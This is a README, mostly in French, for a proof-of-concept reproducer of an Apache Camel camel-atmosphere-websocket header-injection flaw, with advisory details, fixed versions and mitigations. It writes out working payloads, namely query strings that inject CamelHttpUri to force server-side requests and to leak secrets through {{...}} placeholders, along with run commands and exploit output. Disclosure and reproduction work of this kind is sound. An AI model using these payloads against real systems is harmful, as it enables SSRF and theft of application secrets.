
PoC reproducer for CVE-2026-55993 (Apache Camel camel-atmosphere-websocket): the WebSocket consumer copies connection query parameters onto the Exchange unfiltered, so an injected CamelHttpUri drives a server-side request (SSRF) and leaks resolved property placeholders. Fixed in 4.14.8/4.18.3/4.21.0.
Ce projet démontre une injection d'en-tête de message dans le composant camel-atmosphere-websocket d'Apache Camel, référencé sous CVE-2026-55993. Le consommateur WebSocket copie les paramètres de requête de la connexion sur l'échange Camel sans aucun HeaderFilterStrategy, de sorte qu'un client peut injecter des en-têtes de contrôle Camel — notamment CamelHttpUri — simplement en les ajoutant à la chaîne de requête de l'URL WebSocket :
// WebsocketConsumer.sendEventNotification (affecté 4.18.2) — paramètres de requête -> en-têtes d'Exchange, non filtrés
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// où queryMap = getQueryMap(request.getQueryString()) (un analyseur naïf et non filtrant)
Lorsque la route relie ce consommateur à un producteur HTTP, un CamelHttpUri injecté remplace l'URI cible du producteur — Server-Side Request Forgery (SSRF). Le producteur camel-http appelle également resolvePropertyPlaceholders() sur cette URI contrôlée par l'attaquant, de sorte qu'une référence {{...}} injectée est étendue à sa valeur réelle et envoyée — divulguant des variables d'environnement, des propriétés d'application ou des secrets de coffre.
Cette POC démontre l'impact comme SSRF plus divulgation de secrets (CWE-20 → CWE-918 + CWE-200). C'est l'un des trois composants frères corrigés ensemble sous CAMEL-23532 (avec camel-vertx-websocket, CVE-2026-46726, et camel-iggy, CVE-2026-55994).
Avis de sécurité : https://camel.apache.org/security/CVE-2026-55993.html
Le correctif applique le
HttpHeaderFilterStrategyhérité au mappage entrant, filtrant les en-têtesCamel*/camel*de manière insensible à la casse afin qu'ils ne puissent plus être injectés via la chaîne de requête WebSocket.
Les deux membres vulnérables de WebsocketConsumer sont exécutés inchangés, avec une chaîne de requête contrôlée par l'attaquant :
WebsocketConsumer.getQueryMap(String) — l'analyseur naïf et non filtrant qui transforme la chaîne de requête de la connexion WebSocket en une map ;WebsocketConsumer.sendEventNotification(...) — qui copie chaque entrée de cette map sur l'Exchange en tant qu'en-tête, sans aucun HeaderFilterStrategy.L'Exchange résultant transite par la vraie route vers le vrai producteur camel-http, donc la SSRF et la divulgation du placeholder de propriété {{...}} sont authentiques.
Pourquoi le transport WebSocket n'est pas utilisé directement. Dans cette version du composant (Camel 4.18.2 → Atmosphere 3.1.0), un WebSocket est servi via JSR-356, dont la mise à niveau est gérée par le conteneur de servlets et contourne
CamelWebSocketServlet.service()— le seul endroit qui copie la chaîne de requête de la connexion dans lequeryMapdu consommateur.sendEventNotificationlit cette map (vide), jamais la requête sur la session WebSocket, donc l'injection ne peut pas être délivrée via un WebSocket JSR-356 en direct dans cette version d'Atmosphere. (Atmosphere 3.1.0 ne fournit que le support JSR-356 / Servlet30 / BlockingIO / Netty — pas de transport WebSocket basé sur servlet qui peupleraitqueryMap.) Ce reproducteur invoque donc directement les deux vraies méthodes vulnérables avec la chaîne de requête de l'attaquant ; la POC du composant frèrecamel-vertx-websocket(CVE-2026-46726) exploite le même défaut via un WebSocket en direct, car ce composant mappe la requête sur chaque message.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
La seule cible prévue par l'auteur de la route est /legit-backend ; le CamelHttpUri injecté la remplace.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Mettez à jour vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532). Après la mise à jour, le consommateur filtre les en-têtes Camel* de la chaîne de requête WebSocket, de sorte que CamelHttpUri et autres en-têtes de contrôle ne peuvent plus être injectés.
En attendant la mise à jour, ne reliez pas un consommateur atmosphere-websocket directement à un producteur HTTP sans avoir d'abord supprimé les en-têtes de contrôle Camel (par exemple removeHeaders("CamelHttp*")), et définissez la cible du producteur à partir d'une source de confiance (ou utilisez bridgeEndpoint=true).
Ce reproducteur est fourni pour la recherche en sécurité et les tests autorisés uniquement, pour une vulnérabilité divulguée publiquement et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Propriété | Valeur |
|---|
| Composant | camel-atmosphere-websocket |
| Classe affectée | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() mappent les paramètres de requête aux en-têtes sans filtre) |
| CWE | CWE-20 (Validation d'entrée incorrecte) → CWE-918 (SSRF) + CWE-200 (Divulgation d'informations) |
| Impact | SSRF non authentifié et divulgation de secrets via la résolution de placeholders de propriétés sur l'URI injectée |
| Prérequis | Une route relie un consommateur atmosphere-websocket à un producteur HTTP ; le servlet s'exécute avec events=true |
| Versions affectées | De 4.0.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Crédit | Kamalpreet Singh |